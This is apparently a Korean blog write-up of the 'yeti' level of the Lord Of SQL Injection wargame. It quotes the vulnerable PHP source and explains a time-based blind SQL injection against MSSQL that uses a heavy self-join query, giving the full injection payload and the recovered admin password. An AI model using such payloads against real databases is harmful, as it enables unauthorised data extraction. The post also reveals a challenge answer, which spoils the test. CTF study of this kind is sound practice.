[LOS] yeti

2019.07.26 10:58wargame/Lord Of SQL Injection

소스코드분석

<?php
  include "./config.php";
  login_chk();
  $db = mssql_connect("yeti");
  if(preg_match('/master|sys|information|;/i', $_GET['id'])) exit("No Hack ~_~");
  if(preg_match('/master|sys|information|;/i', $_GET['pw'])) exit("No Hack ~_~");
  $query = "select id from prob_yeti where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  sqlsrv_query($db,$query);

  $query = "select pw from prob_yeti where id='admin'"; 
  $result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
  if($result['pw'] === $_GET['pw']) solve("yeti"); 
  highlight_file(__FILE__);
?>

1. $db = mssql_connect("yeti"); > DB환경이 mssql

 

2. if($result['pw'] === $_GET['pw']) solve("yeti"); > 엄격한 비교. pw의 값을 알아야 할 필요 있음

 

3. sqlsrv_query($db,$query); > 쿼리 실행후 출력 코드 존재하지 않음

 

4. if(preg_match('/master|sys|information|;/i', $_GET['pw'])) exit("No Hack ~_~"); > waitfor 필터링 없음. Time Based SQL Injection 가능

 

문제풀이

mssql 환경에서의 time based

 

waitfor delay 가 필터링 되어있지 않기 때문에 case를 이용한 waitfor delay 쿼리를 만들어 보았지만 제대로 작동하지 않았다(waitfor delay로 풀 수 없는 문제라는 것은 아니다. 내가 우회를 못한 것 뿐)

 

그래서 다른 방법인 heavy query를 이용한다.

 

원리는 데이터베이스가 뛰어난 반환속도를 가지고 있다해도 엄청나게 많은 값들을 뽑아내려고 하면 몇개의 값을 추출하는 데 비해 속도가 늦을것이다.

 

참일때의 반환 값을 기하급수적으로 추출하여 참 거짓의 쿼리 실행 시간에 차이를 둔다.

 

 

어떻게 많은 값을 추출 시키는 지 예제사이트를 이용해 확인했다. 예제 테이블 ForgeRock에는 총 3개의 값이 들어있다.

 

그리고 2번째 쿼리인 ForgeRock as f1, ForgeRock as f2를 보게 되면 총 9개의 값을 반환한다. f1테이블과 f2테이블의 값을 조합해서 나올수 있는 경우의 수 3*3 3^2으로 9가 나온것이다.

 

이렇게 같은 테이블을 여러번 불러오면 승수배로 값이 반환 값이 증가한다.

 

 

그래서 총 15개의 테이블 3^15의 반환값을 만들어 주었더니 쿼리 실행시간(Execution Time)에서 눈으로 구분 가능한 시간차가 생기게 된다.

 

다행히도 prob_yeti에는 admin과 guest 두 값이 존재한다. 문제에서는 다른 테이블을 불러올 수 없으므로 prob_yeti 테이블을 아무리 늘려봐도 테이블에 값이 1개면 반환시간에 큰 차이가 나지 않을 것이다.

 

2의 21승 정도 되면 3초정도의 딜레이가 생긴다.

 

이를 yeti문제에도 동일하게 적용한다.

 

쿼리형태는 다음과 같다.

 

?pw=' or (select count(*) from prob_yeti as yeti1, prob_yeti as yeti2, prob_yeti as yeti3, prob_yeti as yeti4, prob_yeti as yeti5, prob_yeti as yeti6, prob_yeti as yeti7, prob_yeti as yeti8, prob_yeti as yeti9, prob_yeti as yeti10, prob_yeti as yeti11, prob_yeti as yeti12, prob_yeti as yeti13, prob_yeti as yeti14, prob_yeti as yeti15, prob_yeti as yeti16, prob_yeti as yeti17, prob_yeti as yeti18, prob_yeti as yeti19, prob_yeti as yeti20, prob_yeti as yeti21)>1 and 5<(select top 1 len(pw) from prob_yeti where id='admin')-- -

 

 

and 앞의 쿼리는 앞서 설명한 heavy query이고, and 뒤의 쿼리는 원하는 값 여기서는 admin의 패스워드 값을 찾아내느 query가 된다.

 

and 뒤의 쿼리가 참이면 and 앞의 heavy query도 출력이 되면서 실행시간이 무척 길어질 것이고, 만약 and 뒤의 쿼리가 거짓이면 heavy query도 실행되지 않아 실행시간은 매우 빠를 것이다.

 

저렴한 python 코드

 

?pw=6425b725

 

클리어

'wargame > Lord Of SQL Injection' 카테고리의 다른 글

[LOS] kraken  (0) 2019.07.26
[LOS] mummy  (0) 2019.07.26
[LOS] yeti  (0) 2019.07.26
[LOS] revenant  (0) 2019.07.26
[LOS] nessie  (0) 2019.07.17
[LOS] poltergeist  (0) 2019.07.17